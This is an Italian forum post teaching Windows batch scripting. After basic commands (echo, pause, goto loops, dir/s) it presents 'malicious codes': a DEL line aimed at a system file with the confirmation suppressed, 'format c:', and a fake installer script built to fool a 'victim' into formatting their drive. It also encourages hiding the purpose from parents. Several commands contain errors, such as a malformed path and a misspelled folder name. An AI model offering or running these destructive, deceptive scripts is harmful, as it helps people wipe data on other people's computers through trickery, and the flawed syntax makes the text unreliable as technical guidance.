Prima di passare alla creazione di un visus parliamo del linguaggio batch in generale.Prima di tutto, quando si crea un bat esso esegue tutte le impostazioni che sono state inserite in esso con una velocità impercepibile, quindi se volete creare un bat con delle scritte, nessuno riuscirà a leggerle.(AH, RAGAZZI, VI RICORDATE DEL DOCUMENTO DI TESTO?_____ LI' DOVRAI INSERIRE I CODICI SOTTOELENCATI)
PASSIAMO AI CODICI:
QUESTO E' UN CODICE DA INSERIRE NEL BAT ALL'INIZIO PER NON FAR SPECIFICARE NEL DOS IL PERCORSO DEL FILE CREATO, CHE PUO' DARE SOLO FASTIDIO.
IN QUESTO MODO NEL DOS USCIRA' SCRITTO "CIAO". QUINDI RICORDATEVI CHE PER SCRIVERE QUALCOSA NEL DOS BISOGNA PRIMA INSERIRE "echo".
PERO' COSI' FACENDO LA SCRITTA NON SARA' NEANCHE UN PO' GUARDATA CHE IL DOS SI CHIUDERA', QUINDI USATE IL SEGUENTE CODICE PER FAR FERMARE IL DOS:
CODICE
@echo off
echo ciao
pause
IL CODICE "PAUSE" COMPORTERA' LA COMPARSA DELLA SCRITTA (SEMPRE NEL DOS) "PREMERE UN TASTO PER CONTINUARE...". IN QUESTO MODO, PER CONTINUARE, L'UTENTE SARA' COSTRETTO A PREMERE UN TASTO E FARA' IN TEMPO A LEGGERE TUTTE LE SCRITTE CHE INSERITE.
ALTRI CODICI:
QUESTO CODICE, FARA' USCIRE SUL DOS IL NOME DI ALCUNI FILE DEL COMPUTER, MA COME ABBIAMO GIA' AVVISATO, NON SARANNO BEN VISIBILI QUINDI INSERIRE IL CODICE "PAUSE".(CON QUESTO METODO SI POSSONO FARE ANCHE DEGLI SCHERZI)
ALTRI CODICI:
CODICE
@echo off
:1
echo ciao
goto 1
I ":1" E "GOTO 1" SERVONO PER FAR RICOMPARIRE DACCAPO IL CODICE/I INSERITO/I TRA QUESTI DUE
ESEMPIO:
CODICE
@echo off
:1
dir/s
goto 1
COSI' RIPETERA' SEMPRE I FILE DEL COMPUTER.
QUESTO CODICE NON DEVE CHIAMARSI PER FORZA ":1" E "GOTO 1" POSSONO ANCHE ESSERE ":ESEMPIO" E "GOTO ESEMPIO" INSOMMA, QUALSIASI PAROLA.
ALTRI CODICI
CITAZIONE
@echo off
archivio.ZIP
end
INSERENDI IL NOME DI UN FILE.ZIP (NON SO SE PURE ALTRI FILE DEVO PROVARE) SI APRIRA'. IN QUESTI CASI E' PREFERIBILE METTERE END.
ORA CHE AVETE IMPARATO ALCUNI CODICI SIETE PRONTI PER I CODICI MALIGNI???????????!!!!!!!!!!!!!!!????????????
MA CERTO CHE SI!!!!!!!!!!!!!!!!!!!!!!
ECCO IL CLASSICO "DEL":
CODICE
@echo off
DEL "C:\........\"
QUESTO COMPORTERA' LA CANCELLAZIONE DI UN FILE CHE INDICHERETE VOI INSERENDO IL PERCORSO; IL PIU' CONSIGLIATO E' QUESTO:
CODICE
@echo off
DEL "C\Windows\System32\confing\system.sav"
QUESTO E' IL PERCORSO DI UN FILE DEL SYSTEM DEL PC OVVERO UN FILE IMPORTANTISSIMO DEL PC CHE POTRA' COMPORTARE LA PERDITA DI QUALCOSA (NON SO CHE COSA PERCHE' DI CERTO NON LO PROVO SUL MIO).
UNA COSA IMPORTANTE C'E' DA AGGIUNGERE:
CODICE
@echo off
DEL "C\...\system.sav" y
METTENDO QUELLA "Y" IL PROCESSO SI AVVIERA' SENZA ALCUN PREAVVISO, POICHE' NON INSERENDO LA LETTERA, CHIEDERA' SE PROSEGUIRE DICENDO "Y/N?"(YES/NO)
QUELLO CHE SI DOVREBBE INSERIRE LO FACCIAMO NOI DIRETTAMENTE DAL BAT.
ECCO INVECE IL "FORMAT C:":
CODICE
@echo off
format c: y
E SI AVVIERA' IL PROCESSO SI FORMATTAZIONE!!!!!!.
PER FAR CASCARE LA VITTIMA POTRESTE INVECE FARE COSI':
CODICE
@echo off
echo proseguire con l'istallazione del programma?
pause
dir/s
dir/s
echo alcuni file del programma sono stati applicati. per finire premere un tasto
pause
format c:
DIABOLICO EH!!!!!!!!!!!!!
AL POSTO DI FORMAT POTRETE INSERIRE DEL.
ALTRO METODO PER CREARE FILE IN FORMATO BATUN ALTRO METODO PER CREARE UN BAT NON E' QUELLO DI SALVARE CON NOME IN .BAT MA:
ANDARE IN UNA CARTELLA, IN ALTO CI SARA' UNA BARRA CHE DICE "STRUMENTI", CLICCATECI SOPRA E SELEZIONATE "OPZIONI CARTELLA..." COSI' FACENDO, USCIRA' UNA SCHERMATA DOVE SI POSSONO SELEZIONARE ALTRE PAGINE DELLA SCHERMATE E CLICCATE SULLA PAGINA "VISUALIZZAZIONE", LI USCIRANNO VARIE SPUNTE. TRA QUESTE TROVERETE UNA SPUNTA CHE DICE "NASCONDI LE ESTENZIONI DEI FILE CONOSCIUTI" SE C'E' LA SPUNTA, TOGLIETELA, SE INVECE NON C'E', USCITE.
IN QUESTO MODO TUTTI I FILE DEL COMPUTERE DOPO IL PROPRIO NOME AVRANNO UNA SCRITTA TIPO ".EXE .BAT .AVI .GIF .BMP .JPG .PNG .TXT" CHE SONO LE ESTENSIONI. COSI' PER CREARE UN BAT BASTA CHE CAMBIATE L'ESTENSIONE DEL DOCUMENTO DI TESTO (.TXT) IN ".BAT".
PERO' PER SEMPRE DOVRETE STARE ATTENTI QUANDO RINOMINATE UN FILE, A LASCIARE L'ESTENSIONE INVARIATA.
SE QUALCUN'ALTRO USA IL PC, AVVISATE DI QUESTO CAMBIAMENTO E SE IL PC LO USA QUALCHE TUO GENITORE, CHIEDETE IL PERMESSO DELLA SPUNTA.(NON DITEGLI IL MOTIVO PERO'!!!!!!!!)COMUNQUE QUESTA E' SOLO UNA PICCOLA PARTE DI TUTTI I CODICI BATCH CHE ESISTONO.Edited by joh_stunter_TTB - 23/3/2009, 19:11